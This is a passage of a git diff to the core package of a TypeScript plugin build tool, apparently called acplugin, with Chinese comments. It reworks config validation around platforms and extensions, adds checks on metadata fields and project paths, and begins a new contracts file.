continue; - try { - /** Compiler 基于规范 Component 与 Module 贡献生成的目标输出。 */ - const output = await compiler.compile({ config: request.config, project: project!, target, contributions, diagnostics }); - /** 当前目标的 Compiler 与 Module 兼容性条目合集。 */ - const targetCompatibility = [ - ...output.compatibility, - ...contributions.flatMap(item => item.contribution.compatibility ?? []), - ]; - compatibility.push(...targetCompatibility); - applyCompatibilityStrictness(diagnostics, target, targetCompatibility); - - // 所有来源在同一 Graph 内接受路径、碰撞、权限和可信目录校验。 - const graph = new ArtifactGraph([request.config.root, runtimeRoot]); - for (const publicFile of project!.publicFiles) - await graph.add('public', { path: publicFile.targetPath, source: { type: 'file', path: publicFile.sourcePath }, mode: publicFile.mode }); - for (const artifact of output.artifacts) - await graph.add(`compiler:${target.id}`, artifact); - for (const item of contributions) { - for (const artifact of item.contribution.artifacts ?? []) - await graph.add(`module:${item.module}`, artifact); - } - targetArtifacts.set(target.id, graph.artifacts); - for (const artifact of graph.artifacts) { - artifactReports.push({ - target: target.id, - path: artifact.path, - owner: sanitizeReportText(artifact.owner), - mode: artifact.mode, - size: artifact.size, - sha256: artifact.sha256, - }); - } - } catch { - diagnostics.error('TARGET_GENERATION_FAILED', `${target.id} generation failed.`, { phase: 'generate', target: target.id }); - } - } - } - - if (!diagnostics.hasErrors && targetArtifacts.size === request.config.targets.length) { - if (request.commit) { - // buildEnd 属于提交事务:交换后收尾失败必须触发输出目录回滚。 - await commitManagedOutput(request.config.outDir, targetArtifacts, { - /** 在旧输出备份仍可恢复时执行 Module 收尾。 */ - async afterSwap() { - originalError = await finalizeModules(originalError); - if (originalError !== undefined) - throw originalError; - }, - }); - committed = true; - } else { - // validate 模式仍完整物化到临时目录,以验证字节摘要和权限,但不会改动 outDir。 - await validateMaterialization(targetArtifacts); - originalError = await finalizeModules(originalError); - } - } - } catch (error) { - originalError ??= error; - if (!diagnostics.hasErrors) - diagnostics.error('BUILD_INTERNAL_FAILED', 'The build failed inside the framework.', { phase: 'internal' }); - } finally { - if (originalError === undefined && diagnostics.hasErrors) - originalError = new Error('Build failed; see diagnostics.'); - originalError = await finalizeModules(originalError); - // Module 收尾完成后才能删除工作目录,确保 buildEnd 仍可访问自己的临时资源。 - await fs.rm(runtimeRoot, { recursive: true, force: true }); - } - - /** 始终返回的构建结果;业务失败通过 report.success 和 diagnostics 表达。 */ - const result: BuildResult = { - report: createReport(request, project, diagnostics.diagnostics, compatibility, artifactReports, committed), - }; - if (project !== undefined) - result.project = project; - return result; -} diff --git a/packages/core/src/config.ts b/packages/core/src/config.ts index 561ac2c..accfc4d 100644 --- a/packages/core/src/config.ts +++ b/packages/core/src/config.ts @@ -1,31 +1,43 @@ import path from 'node:path'; import semver from 'semver'; +import parseSpdxExpression from 'spdx-expression-parse'; +import { DiagnosticCollector } from './diagnostics.js'; +import { isAcpluginExtension, isAcpluginPlatform, type AcpluginPlatform } from './contracts.js'; import type { BuildCommand, BuildMode, - PlatformExtensions, + PluginAuthor, + PluginMetadata, ResolvedConfig, + ResolvedPlatform, ResolvedPublicConfig, - ResolvedTarget, - TargetId, UserConfig, } from './types.js'; -import { TARGET_IDS } from './types.js'; -import { DiagnosticCollector } from './diagnostics.js'; -import { extensionIssues } from './extensions.js'; /** Plugin 名称允许使用的小写 kebab-case 格式。 */ const NAME_PATTERN = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; -/** Module 名称允许使用的普通包名或 npm scope 包名格式。 */ -const MODULE_NAME_PATTERN = /^(?:@[a-z0-9][a-z0-9._-]*\/)?[a-z0-9][a-z0-9._-]*$/; +/** Plugin 作者邮件地址使用的保守结构规则。 */ +const EMAIL_PATTERN = /^[^\s@]+@[^\s@]+\.[^\s@]+$/; -/** 顶层配置唯一允许出现的字段,未知字段必须诊断为错误。 */ +/** 顶层最终配置唯一允许出现的字段。 */ const ALLOWED_FIELDS = new Set([ - 'name', 'version', 'description', 'displayName', 'srcDir', 'public', - 'targets', 'modules', 'build', 'extensions', + 'name', 'version', 'description', 'displayName', 'author', 'homepage', + 'repository', 'license', 'keywords', 'srcDir', 'public', 'platforms', + 'extensions', 'build', +]); + +/** 需要定向提示最终写法、不能只报告 unknown 的旧配置字段。 */ +const LEGACY_FIELDS = new Map([ + ['targets', 'Use platforms: [claudeCode(), codex()] instead.'], + ['modules', 'Use extensions: [hooks(), mcp()] instead.'], ]); +/** Core 注入默认 Platform 时需要的外部工厂结果。 */ +export interface ResolveConfigOptions { + readonly defaultPlatforms: readonly AcpluginPlatform[]; +} + /** * 判断未知值是否为可枚举的普通对象形态。 * @@ -50,27 +62,17 @@ function rejectUnknownFields( fieldPath: readonly (string | number)[], diagnostics: DiagnosticCollector, ): void { - // Set 让字段检查保持确定性的同时避免每次查找都遍历数组。 + /** Set 让字段检查保持确定性的同时避免每次查找都遍历数组。 */ const accepted = new Set(allowed); for (const key of Object.keys(value)) { - if (!accepted.has(key)) { - diagnostics.error('CONFIG_FIELD_UNKNOWN', `Unknown configuration field "${[...fieldPath, key].join('.')}` + '".', { - phase: 'config', fieldPath: [...fieldPath, key], - }); - } + if (accepted.has(key) || (fieldPath.length === 0 && LEGACY_FIELDS.has(key))) + continue; + diagnostics.error('CONFIG_FIELD_UNKNOWN', `Unknown configuration field "${[...fieldPath, key].join('.')}".`, { + phase: 'config', fieldPath: [...fieldPath, key], + }); } } -/** - * 从规范名称推导适合界面展示的默认名称。 - * - * @param name 已通过 kebab-case 校验的 Plugin 名称。 - * @returns 将每个名称片段首字母大写后的展示名称。 - */ -function presentationName(name: string): string { - return name.split('-').map(part => part.charAt(0).toUpperCase() + part.slice(1)).join(' '); -} - /** * 判断候选绝对路径是否位于指定根目录内。 * @@ -79,83 +81,126 @@ function presentationName(name: string): string { * @returns 候选路径等于或包含于根目录时返回 true。 */ function isInside(root: string, candidate: string): boolean { - // 只使用 lexical relative 结果,后续文件读取阶段还会验证真实文件类型。 + /** lexical relative 结果;实际文件阶段还会验证符号链接和文件类型。 */ const relative = path.relative(root, candidate); return relative === '' || (!relative.startsWith(`..${path.sep}`) && relative !== '..' && !path.isAbsolute(relative)); } /** - * 将用户路径解析为绝对路径,并诊断越出工程根目录的配置。 + * 将用户路径解析为工程内绝对路径,并拒绝绝对输入与 root escape。 * * @param root 可信工程根目录。 * @param value 用户提供的相对路径。 * @param field 产生该路径的配置字段。 - * @param diagnostics 用于记录路径逃逸的诊断容器。 - * @returns 规范化后的绝对路径;即使非法也返回值以继续收集其他错误。 + * @param diagnostics 用于记录路径错误的诊断容器。 + * @returns 规范化后的绝对路径;非法时仍返回结果以继续收集错误。 */ function resolveInside(root: string, value: string, field: string, diagnostics: DiagnosticCollector): string { - // 保留解析结果可以让一次 validate 报告尽可能多的独立配置问题。 + if (path.isAbsolute(value)) { + diagnostics.error('CONFIG_PATH_ABSOLUTE', `${field} must be relative to the project root.`, { + phase: 'config', fieldPath: field.split('.'), + }); + } + /** 保留解析结果可让一次 validate 汇总多个独立问题。 */ const resolved = path.resolve(root, value); if (!isInside(root, resolved)) { diagnostics.error('CONFIG_PATH_ESCAPE', `${field} must stay inside the project root.`, { - phase: 'config', fieldPath: [field], + phase: 'config', fieldPath: field.split('.'), }); } return resolved; } /** - * 合并目标平台默认值并拒绝未知、重复或空目标列表。 + * 判断两个目录是否相等或存在父子包含关系。 * - * @param targets 用户配置的目标平台数组,缺省时使用全部内置目标。 - * @param strict 全局兼容性严格度默认值。 - * @param diagnostics 用于收集目标配置错误的诊断容器。 - * @returns 去重且带有最终严格度的目标配置。 + * @param left 左侧绝对目录。 + * @param right 右侧绝对目录。 + * @returns 任一目录包含另一目录时返回 true。 */ -function resolveTargets( - targets: readonly unknown[] | undefined, - strict: boolean, - diagnostics: DiagnosticCollector, -): ResolvedTarget[] { - // 默认同时编译 Claude Code 和 Codex,保持最小配置即可多平台输出。 - const input: readonly unknown[] = targets ?? TARGET_IDS; - // 已解析标识用于拒绝同一目标的重复配置。 - const seen = new Set(); - // 结果只收集结构和标识均合法的目标。 - const resolved: ResolvedTarget[] = []; +function directoriesOverlap(left: string, right: string): boolean { + return left === right || isInside(left, right) || isInside(right, left); +} - if (input.length === 0) - diagnostics.error('CONFIG_TARGETS_EMPTY', 'targets must contain at least one target.', { phase: 'config', fieldPath: ['targets'] }); +/** + * 校验字符串是否为绝对 HTTP(S) URL。 + * + * @param value 待校验的 URL 文本。 + * @returns 可由 URL 解析且协议为 http/https 时返回 true。 + */ +function isHttpUrl(value: string): boolean { + try { + /** 使用标准 URL 解析器拒绝相对路径和不完整主机名。 */ + const parsed = new URL(value); + return (parsed.protocol === 'http:' || parsed.protocol === 'https:') && parsed.hostname.length > 0; + } catch { + return false; + } +} - for (const target of input) { - if (typeof target !== 'string' && !isRecord(target)) { - diagnostics.error('CONFIG_TARGET_INVALID', 'Every target must be a target ID or target object.', { phase: 'config', fieldPath: ['targets'] }); - continue; - } - if (isRecord(target)) { - rejectUnknownFields(target, ['id', 'strict'], ['targets'], diagnostics); - if (target.strict !== undefined && typeof target.strict !== 'boolean') - diagnostics.error('CONFIG_TARGET_STRICT_INVALID', 'Target strict must be boolean.', { phase: 'config', fieldPath: ['targets', 'strict'] }); - } - // 字符串简写和对象形式最终都归一为同一个目标标识。 - const id = typeof target === 'string' ? target : target.id; - if (typeof id !== 'string') { - diagnostics.error('CONFIG_TARGET_INVALID', 'Target id must be a string.', { phase: 'config', fieldPath: ['targets', 'id'] }); - continue; - } - if (!TARGET_IDS.includes(id as TargetId)) { - diagnostics.error('CONFIG_TARGET_UNKNOWN', `Unknown target "${id}".`, { phase: 'config', fieldPath: ['targets'] }); +/** + * 校验并规范化可选作者对象。 + * + * @param value 配置中的 author 候选。 + * @param diagnostics 当前配置诊断集合。 + * @returns 字段完整时返回不可变作者元数据,否则返回 undefined。 + */ +function resolveAuthor(value: unknown, diagnostics: DiagnosticCollector): PluginAuthor | undefined { + if (value === undefined) + return undefined; + if (!isRecord(value)) { + diagnostics.error('CONFIG_AUTHOR_INVALID', 'author must be an object.', { phase: 'config', fieldPath: ['author'] }); + return undefined; + } + rejectUnknownFields(value, ['name', 'email', 'url'], ['author'], diagnostics); + if (typeof value.name !== 'string' || value.name.trim() === '') + diagnostics.error('CONFIG_AUTHOR_NAME_INVALID', 'author.name must be a non-empty string.', { phase: 'config', fieldPath: ['author', 'name'] }); + if (value.email !== undefined && (typeof value.email !== 'string' || !EMAIL_PATTERN.test(value.email))) + diagnostics.error('CONFIG_AUTHOR_EMAIL_INVALID', 'author.email must be a valid email address.', { phase: 'config', fieldPath: ['author', 'email'] }); + if (value.url !== undefined && (typeof value.url !== 'string' || !isHttpUrl(value.url))) + diagnostics.error('CONFIG_AUTHOR_URL_INVALID', 'author.url must be an absolute HTTP(S) URL.', { phase: 'config', fieldPath: ['author', 'url'] }); + if (typeof value.name !== 'string' || value.name.trim() === '') + return undefined; + return { + name: value.name.trim(), + ...(typeof value.email === 'string' && EMAIL_PATTERN.test(value.email) ? { email: value.email } : {}), + ...(typeof value.url === 'string' && isHttpUrl(value.url) ? { url: value.url } : {}), + }; +} + +/** + * 校验、去空白并去重 Plugin keywords。 + * + * @param value 配置中的 keywords 候选。 + * @param diagnostics 当前配置诊断集合。 + * @returns 仅包含合法唯一值的稳定数组。 + */ +function resolveKeywords(value: unknown, diagnostics: DiagnosticCollector): string[] | undefined { + if (value === undefined) + return undefined; + if (!Array.isArray(value)) { + diagnostics.error('CONFIG_KEYWORDS_INVALID', 'keywords must be an array of strings.', { phase: 'config', fieldPath: ['keywords'] }); + return undefined; + } + /** 保持用户顺序的规范 keyword 输出。 */ + const keywords: string[] = []; + /** 用于拒绝去空白后重复 keyword 的集合。 */ + const seen = new Set(); + for (const [index, keyword] of value.entries()) { + if (typeof keyword !== 'string' || keyword.trim() === '') { + diagnostics.error('CONFIG_KEYWORD_INVALID', 'Every keyword must be a non-empty string.', { phase: 'config', fieldPath: ['keywords', index] }); continue; } - if (seen.has(id as TargetId)) { - diagnostics.error('CONFIG_TARGET_DUPLICATE', `Target "${id}" is duplicated.`, { phase: 'config', fieldPath: ['targets'] }); + /** 去除首尾空白后的最终 keyword。 */ + const normalized = keyword.trim(); + if (seen.has(normalized)) { + diagnostics.error('CONFIG_KEYWORD_DUPLICATE', `Keyword "${normalized}" is duplicated.`, { phase: 'config', fieldPath: ['keywords', index] }); continue; } - seen.add(id as TargetId); - resolved.push({ id: id as TargetId, strict: typeof target === 'string' || typeof target.strict !== 'boolean' ? strict : target.strict }); + seen.add(normalized); + keywords.push(normalized); } - - return resolved; + return keywords; } /** @@ -175,15 +220,14 @@ function resolvePublic(root: string, value: unknown, diagnostics: DiagnosticColl diagnostics.error('CONFIG_PUBLIC_INVALID', 'public must be false, a directory string, or an object.', { phase: 'config', fieldPath: ['public'] }); return { enabled: true, dir: path.join(root, 'public') }; } - - // undefined 等价于启用默认 public 目录的空配置对象。 + /** undefined 等价于启用默认 public 目录的空配置对象。 */ const object = value ?? {}; rejectUnknownFields(object, ['dir', 'copy'], ['public'], diagnostics); if (object.dir !== undefined && typeof object.dir !== 'string') diagnostics.error('CONFIG_PUBLIC_DIR_INVALID', 'public.dir must be a string.', { phase: 'config', fieldPath: ['public', 'dir'] }); - // Public 来源目录必须在工程根目录内,目标路径则由每条 copy 规则决定。 + /** Public 来源目录必须位于工程根内。 */ const dir = resolveInside(root, typeof object.dir === 'string' ? object.dir : 'public', 'public.dir', diagnostics); - // 仅保留字段类型完整的规则,非法规则由诊断表达而不进入后续扫描。 + /** 仅保存字段类型完整的 copy rule。 */ const copy: { from: string; to: string }[] = []; if (object.copy !== undefined && !Array.isArray(object.copy)) diagnostics.error('CONFIG_PUBLIC_COPY_INVALID', 'public.copy must be an array.', { phase: 'config', fieldPath: ['public', 'copy'] }); @@ -194,11 +238,11 @@ function resolvePublic(root: string, value: unknown, diagnostics: DiagnosticColl continue; } rejectUnknownFields(rawRule, ['from', 'to'], ['public', 'copy', index], diagnostics); - if (typeof rawRule.from !== 'string' || typeof rawRule.to !== 'string') { - diagnostics.error('CONFIG_PUBLIC_RULE_INVALID', 'Public copy rules require string from and to fields.', { phase: 'config', fieldPath: ['public', 'copy', index] }); + if (typeof rawRule.from !== 'string' || rawRule.from.trim() === '' || typeof rawRule.to !== 'string' || rawRule.to.trim() === '') { + diagnostics.error('CONFIG_PUBLIC_RULE_INVALID', 'Public copy rules require non-empty string from and to fields.', { phase: 'config', fieldPath: ['public', 'copy', index] }); continue; } - // 先保存稳定的字符串形态,再执行绝对路径和父目录穿越检查。 + /** 在进入 Scanner 前保留稳定的相对 POSIX/系统路径文本。 */ const rule = { from: rawRule.from, to: rawRule.to }; copy.push(rule); if (path.isAbsolute(rule.from) || path.isAbsolute(rule.to) || rule.from.split(/[\\/]/).includes('..') || rule.to.split(/[\\/]/).includes('..')) { @@ -212,12 +256,100 @@ function resolvePublic(root: string, value: unknown, diagnostics: DiagnosticColl } /** - * 将用户配置严格校验并解析为 Core 可直接消费的配置。 + * 校验品牌化 Platform 实例并应用全局 strict 默认值。 * - * @param value 从可信 `acplugin.config.ts` 加载的用户配置对象。 + * @param value 显式 platforms 值或 undefined。 + * @param defaults 主包注入的默认 Platform 工厂结果。 + * @param strict 全局功能兼容性严格度。 + * @param diagnostics 当前配置诊断集合。 + * @returns 保持配置顺序的最终 Platform 列表。 + */ +function resolvePlatforms( + value: unknown, + defaults: readonly AcpluginPlatform[], + strict: boolean, + diagnostics: DiagnosticCollector, +): ResolvedPlatform[] { + if (value !== undefined && !Array.isArray(value)) { + diagnostics.error('CONFIG_PLATFORMS_INVALID', 'platforms must be an array of Platform factory results.', { phase: 'config', fieldPath: ['platforms'] }); + return []; + } + /** 省略字段时使用默认工厂,显式数组则完整替换默认集合。 */ + const input = value === undefined ? defaults : value; + if (input.length === 0) + diagnostics.error('CONFIG_PLATFORMS_EMPTY', 'platforms must contain at least one Platform.', { phase: 'config', fieldPath: ['platforms'] }); + /** 用于拒绝重复 Platform ID 的集合。 */ + const seen = new Set(); + /** 已通过品牌和版本检查的 Platform。 */ + const resolved: ResolvedPlatform[] = []; + for (const [index, candidate] of input.entries()) { + if (!isAcpluginPlatform(candidate)) { + /** 字段看似 Platform 但版本不同,优先给出版本定向错误。 */ + const apiVersion = isRecord(candidate) ? candidate.apiVersion : undefined; + diagnostics.error(apiVersion !== undefined && apiVersion !== '1' ? 'CONFIG_PLATFORM_API_INCOMPATIBLE' : 'CONFIG_PLATFORM_INVALID', + apiVersion !== undefined && apiVersion !== '1' + ? `Platform API version "${String(apiVersion)}" is incompatible with Core API version 1.` + : 'Every platform must be created by definePlatform() or an official Platform factory.', + { phase: 'config', fieldPath: ['platforms', index] }); + continue; + } + if (seen.has(candidate.id)) { + diagnostics.error('CONFIG_PLATFORM_DUPLICATE', `Platform "${candidate.id}" is configured more than once.`, { phase: 'config', fieldPath: ['platforms', index] }); + continue; + } + seen.add(candidate.id); + resolved.push({ platform: candidate, strict: candidate.strict ?? strict }); + } + return resolved; +} + +/** + * 校验品牌化 Extension 实例、API 版本和唯一名称。 + * + * @param value 配置中的 extensions 候选。 + * @param diagnostics 当前配置诊断集合。 + * @returns 保持配置顺序的最终 Extension 列表。 + */ +function resolveExtensions(value: unknown, diagnostics: DiagnosticCollector): import('./contracts.js').AcpluginExtension[] { + if (value === undefined) + return []; + if (!Array.isArray(value)) { + diagnostics.error('CONFIG_EXTENSIONS_INVALID', 'extensions must be an array of Extension factory results.', { phase: 'config', fieldPath: ['extensions'] }); + return []; + } + /** 用于拒绝重复 Extension 名称的集合。 */ + const seen = new Set(); + /** 已通过品牌、版本和名称校验的 Extension。 */ + const resolved: import('./contracts.js').AcpluginExtension[] = []; + for (const [index, candidate] of value.entries()) { + if (!isAcpluginExtension(candidate)) { + /** 字段看似 Extension 但版本不同,优先给出版本定向错误。 */ + const apiVersion = isRecord(candidate) ? candidate.apiVersion : undefined; + diagnostics.error(apiVersion !== undefined && apiVersion !== '1' ? 'CONFIG_EXTENSION_API_INCOMPATIBLE' : 'CONFIG_EXTENSION_INVALID', + apiVersion !== undefined && apiVersion !== '1' + ? `Extension API version "${String(apiVersion)}" is incompatible with Core API version 1.` + : 'Every extension must be created by defineExtension() or an official Extension factory.', + { phase: 'config', fieldPath: ['extensions', index] }); + continue; + } + if (seen.has(candidate.name)) { + diagnostics.error('CONFIG_EXTENSION_DUPLICATE', `Extension "${candidate.name}" is configured more than once.`, { phase: 'config', fieldPath: ['extensions', index] }); + continue; + } + seen.add(candidate.name); + resolved.push(candidate); + } + return resolved; +} + +/** + * 将用户配置严格校验并解析为 Core 可直接消费的最终配置。 + * + * @param value 从可信 acplugin.config.ts 加载的用户配置对象。 * @param configPath 配置文件绝对路径或可解析路径。 * @param command 当前执行的 CLI 构建命令。 * @param mode 当前构建运行模式。 + * @param options 主包提供的默认 Platform 工厂结果。 * @returns 成功时包含完整配置;失败时只返回已脱敏、可排序的诊断。 */ export function resolveConfig( @@ -225,33 +357,59 @@ export function resolveConfig( configPath: string, command: BuildCommand, mode: BuildMode, + options: ResolveConfigOptions, ): { config?: ResolvedConfig; diagnostics: readonly import('./types.js').Diagnostic[] } { - // 单次解析共享同一个 Collector,以便用户一次看到全部独立配置问题。 + /** 单次解析共享同一个 Collector,以汇总全部独立问题。 */ const diagnostics = new DiagnosticCollector(); - // 配置文件所在目录定义所有工程相对路径的信任根。 + /** 配置文件所在目录定义所有工程相对路径的信任根。 */ const root = path.dirname(path.resolve(configPath)); - // 先降级为 unknown,确保运行时校验不依赖调用方的静态类型声明。 + /** 降级为 unknown,确保运行时校验不依赖静态类型。 */ const object = value as unknown; - if (!isRecord(object)) { diagnostics.error('CONFIG_OBJECT_REQUIRED', 'Configuration must be an object.', { phase: 'config' }); return { diagnostics: diagnostics.diagnostics }; } rejectUnknownFields(object, [...ALLOWED_FIELDS], [], diagnostics); + for (const [field, hint] of LEGACY_FIELDS) { + if (field in object) { + diagnostics.error(`CONFIG_LEGACY_${field.toUpperCase()}`, `Legacy configuration field "${field}" is not supported.`, { + phase: 'config', fieldPath: [field], hint, + }); + } + } if (typeof object.name !== 'string' || !NAME_PATTERN.test(object.name)) diagnostics.error('CONFIG_NAME_INVALID', 'name must be lowercase kebab-case.', { phase: 'config', fieldPath: ['name'] }); if (typeof object.version !== 'string' || !semver.valid(object.version)) - diagnostics.error('CONFIG_VERSION_INVALID', 'version must be valid SemVer.', { phase: 'config', fieldPath: ['version'] }); + diagnostics.error('CONFIG_VERSION_INVALID', 'version must be complete valid SemVer.', { phase: 'config', fieldPath: ['version'] }); if (typeof object.description !== 'string' || object.description.trim() === '') diagnostics.error('CONFIG_DESCRIPTION_REQUIRED', 'description is required.', { phase: 'config', fieldPath: ['description'] }); if (object.displayName !== undefined && (typeof object.displayName !== 'string' || object.displayName.trim() === '')) diagnostics.error('CONFIG_DISPLAY_NAME_INVALID', 'displayName must be a non-empty string.', { phase: 'config', fieldPath: ['displayName'] }); - if (object.srcDir !== undefined && typeof object.srcDir !== 'string') - diagnostics.error('CONFIG_SRC_DIR_INVALID', 'srcDir must be a string.', { phase: 'config', fieldPath: ['srcDir'] }); + if (object.srcDir !== undefined && (typeof object.srcDir !== 'string' || object.srcDir.trim() === '')) + diagnostics.error('CONFIG_SRC_DIR_INVALID', 'srcDir must be a non-empty string.', { phase: 'config', fieldPath: ['srcDir'] }); + for (const field of ['homepage', 'repository'] as const) { + if (object[field] !== undefined && (typeof object[field] !== 'string' || !isHttpUrl(object[field]))) + diagnostics.error(`CONFIG_${field.toUpperCase()}_INVALID`, `${field} must be an absolute HTTP(S) URL.`, { phase: 'config', fieldPath: [field] }); + } + if (object.license !== undefined) { + if (typeof object.license !== 'string' || object.license.trim() === '') { + diagnostics.error('CONFIG_LICENSE_INVALID', 'license must be a valid SPDX expression.', { phase: 'config', fieldPath: ['license'] }); + } else { + try { + parseSpdxExpression(object.license); + } catch { + diagnostics.error('CONFIG_LICENSE_INVALID', 'license must be a valid SPDX expression.', { phase: 'config', fieldPath: ['license'] }); + } + } + } - // 非法 build 值不会进入后续字段读取,但仍继续收集其他顶层错误。 + /** 已校验或部分规范化的可选作者。 */ + const author = resolveAuthor(object.author, diagnostics); + /** 已去空白并检查重复项的可选关键词。 */ + const keywords = resolveKeywords(object.keywords, diagnostics); + /** 非法 build 值不会进入后续字段读取。 */ let build: Record = {}; if (object.build !== undefined) { if (!isRecord(object.build)) @@ -260,97 +418,61 @@ export function resolveConfig( build = object.build; } rejectUnknownFields(build, ['outDir', 'strict'], ['build'], diagnostics); - if (build.outDir !== undefined && typeof build.outDir !== 'string') - diagnostics.error('CONFIG_OUT_DIR_INVALID', 'build.outDir must be a string.', { phase: 'config', fieldPath: ['build', 'outDir'] }); + if (build.outDir !== undefined && (typeof build.outDir !== 'string' || build.outDir.trim() === '')) + diagnostics.error('CONFIG_OUT_DIR_INVALID', 'build.outDir must be a non-empty string.', { phase: 'config', fieldPath: ['build', 'outDir'] }); if (build.strict !== undefined && typeof build.strict !== 'boolean') diagnostics.error('CONFIG_STRICT_INVALID', 'build.strict must be boolean.', { phase: 'config', fieldPath: ['build', 'strict'] }); - if (object.targets !== undefined && !Array.isArray(object.targets)) - diagnostics.error('CONFIG_TARGETS_INVALID', 'targets must be an array.', { phase: 'config', fieldPath: ['targets'] }); - if (object.modules !== undefined && !Array.isArray(object.modules)) - diagnostics.error('CONFIG_MODULES_INVALID', 'modules must be an array.', { phase: 'config', fieldPath: ['modules'] }); - - // 扩展数据必须保持确定性 JSON,且不能覆盖 Core 的规范语义字段。 - let extensions: PlatformExtensions = {}; - if (object.extensions !== undefined) { - if (!isRecord(object.extensions)) { - diagnostics.error('CONFIG_EXTENSIONS_INVALID', 'extensions must be an object.', { phase: 'config', fieldPath: ['extensions'] }); - } else { - rejectUnknownFields(object.extensions, [...TARGET_IDS], ['extensions'], diagnostics); - for (const [target, extension] of Object.entries(object.extensions)) { - if (!TARGET_IDS.includes(target as TargetId)) - continue; - if (!isRecord(extension)) { - diagnostics.error('CONFIG_EXTENSION_INVALID', `extensions.${target} must be an object.`, { phase: 'config', fieldPath: ['extensions', target] }); - continue; - } - for (const issue of extensionIssues(extension, ['extensions', target])) - diagnostics.error('CONFIG_EXTENSION_SEMANTICS', issue.message, { phase: 'config', fieldPath: issue.path }); - } - extensions = object.extensions as PlatformExtensions; - } - } - - // 严格模式默认开启,避免平台降级在未明确授权时静默发生。 + /** 严格模式默认开启,Platform 工厂可以单独覆盖。 */ const strict = typeof build.strict === 'boolean' ? build.strict : true; - // 所有运行路径在进入 Scanner 前统一解析为工程内绝对路径。 + /** Scanner 使用的工程内绝对源码目录。 */ const srcDir = resolveInside(root, typeof object.srcDir === 'string' ? object.srcDir : 'src', 'srcDir', diagnostics); - // 输出目录独立解析,随后还会检查它与来源目录之间的包含关系。 + /** 事务层使用的工程内绝对输出目录。 */ const outDir = resolveInside(root, typeof build.outDir === 'string' ? build.outDir : 'dist', 'build.outDir', diagnostics); - // Public 和 Target 子配置分别负责自己的默认值与结构诊断。 + /** 已解析的 Public 来源与 copy rule。 */ const publicConfig = resolvePublic(root, object.public, diagnostics); - const targets = resolveTargets(Array.isArray(object.targets) ? object.targets : object.targets === undefined ? undefined : [], strict, diagnostics); + /** 已品牌校验且带最终 strictness 的 Platform。 */ + const platforms = resolvePlatforms(object.platforms, options.defaultPlatforms, strict, diagnostics); + /** 已品牌校验且名称唯一的 Extension。 */ + const extensions = resolveExtensions(object.extensions, diagnostics); if (outDir === root) diagnostics.error('CONFIG_OUTDIR_ROOT', 'build.outDir cannot be the project root.', { phase: 'config', fieldPath: ['build', 'outDir'] }); - if (srcDir === outDir || (isInside(srcDir, outDir) && srcDir !== outDir) || (isInside(outDir, srcDir) && srcDir !== outDir)) + if (directoriesOverlap(srcDir, outDir)) diagnostics.error('CONFIG_DIRECTORY_OVERLAP', 'srcDir and build.outDir cannot contain each other.', { phase: 'config' }); - if (publicConfig.enabled && (publicConfig.dir === outDir || isInside(publicConfig.dir, outDir) || isInside(outDir, publicConfig.dir))) + if (publicConfig.enabled && directoriesOverlap(publicConfig.dir, outDir)) diagnostics.error('CONFIG_DIRECTORY_OVERLAP', 'Public directory and build.outDir cannot contain each other.', { phase: 'config' }); - - // Module 保持用户声明顺序;真正的依赖拓扑排序由 Builder 统一执行。 - const modules = (Array.isArray(object.modules) ? object.modules : []) as unknown[]; - // 名称集合用于在配置边界提前拒绝同一 Module 的重复实例。 - const moduleNames = new Set(); - for (const [index, module] of modules.entries()) { - if (!isRecord(module) || typeof module.name !== 'string' || !MODULE_NAME_PATTERN.test(module.name)) { - diagnostics.error('CONFIG_MODULE_INVALID', 'Every module name must be a lowercase package-style identifier.', { phase: 'config', fieldPath: ['modules', index] }); - continue; - } - rejectUnknownFields(module, [ - 'name', 'dependsOn', 'configResolved', 'discover', 'validate', 'build', 'generate', 'buildEnd', - ], ['modules', index], diagnostics); - if (module.dependsOn !== undefined && (!Array.isArray(module.dependsOn) || module.dependsOn.some(dependency => typeof dependency !== 'string' || dependency === ''))) - diagnostics.error('CONFIG_MODULE_DEPENDENCIES_INVALID', 'Module dependsOn must be an array of non-empty names.', { phase: 'config', fieldPath: ['modules', index, 'dependsOn'] }); - for (const hook of ['configResolved', 'discover', 'validate', 'build', 'generate', 'buildEnd']) { - if (module[hook] !== undefined && typeof module[hook] !== 'function') - diagnostics.error('CONFIG_MODULE_HOOK_INVALID', `Module ${hook} must be a function.`, { phase: 'config', fieldPath: ['modules', index, hook] }); - } - if (moduleNames.has(module.name)) - diagnostics.error('CONFIG_MODULE_DUPLICATE', `Module "${module.name}" is configured more than once.`, { phase: 'config', fieldPath: ['modules', index] }); - moduleNames.add(module.name); - } + if (publicConfig.enabled && directoriesOverlap(publicConfig.dir, srcDir)) + diagnostics.error('CONFIG_DIRECTORY_OVERLAP', 'Public directory and srcDir cannot contain each other.', { phase: 'config' }); if (diagnostics.hasErrors) return { diagnostics: diagnostics.diagnostics }; - // 只有不存在错误诊断时才构造类型完备的 ResolvedConfig。 + /** 成功解析后供 Scanner 和 Platform 共享的统一元数据。 */ + const metadata: PluginMetadata = { + name: object.name as string, + version: object.version as string, + description: (object.description as string).trim(), + ...(typeof object.displayName === 'string' ? { displayName: object.displayName.trim() } : {}), + ...(author === undefined ? {} : { author }), + ...(typeof object.homepage === 'string' ? { homepage: object.homepage } : {}), + ...(typeof object.repository === 'string' ? { repository: object.repository } : {}), + ...(typeof object.license === 'string' ? { license: object.license } : {}), + ...(keywords === undefined ? {} : { keywords }), + }; + /** 只有不存在错误诊断时才构造类型完备的 ResolvedConfig。 */ const config: ResolvedConfig = { root, configPath: path.resolve(configPath), command, mode, - name: object.name as string, - version: object.version as string, - description: (object.description as string).trim(), - displayName: typeof object.displayName === 'string' ? object.displayName.trim() : presentationName(object.name as string), + metadata, srcDir, public: publicConfig, - targets, - modules: modules as import('./types.js').AcpluginModule[], + platforms, + extensions, outDir, strict, - extensions, }; return { config, diagnostics: diagnostics.diagnostics }; } diff --git a/packages/core/src/contracts.ts b/packages/core/src/contracts.ts new file mode 100644 index 0000000..fe1d747 --- /dev/null +++ b/packages/core/src/contracts.ts @@ -0,0 +1,524 @@ +import type { + Artifact, + ArtifactInput, + BuildCommand, + BuildMode, + ComponentKind, + CompatibilityLevel, + MetadataDisposition, + PluginMetadata, + PluginProject, + TypeScriptModuleLoader, +} from './types.js'; + +/** Platform 与 Extension 在 acplugin 1.0 中共同使用的 API 版本。 */ +export const LIFECYCLE_API_VERSION = '1' as const; + +/** Platform ID 的类型品牌;该 Symbol 不导出,外部对象不能伪造名义类型。 */ +declare const platformIdBrand: unique symbol; + +/** Platform 实例的运行时品牌;使用模块私有 Symbol 阻止 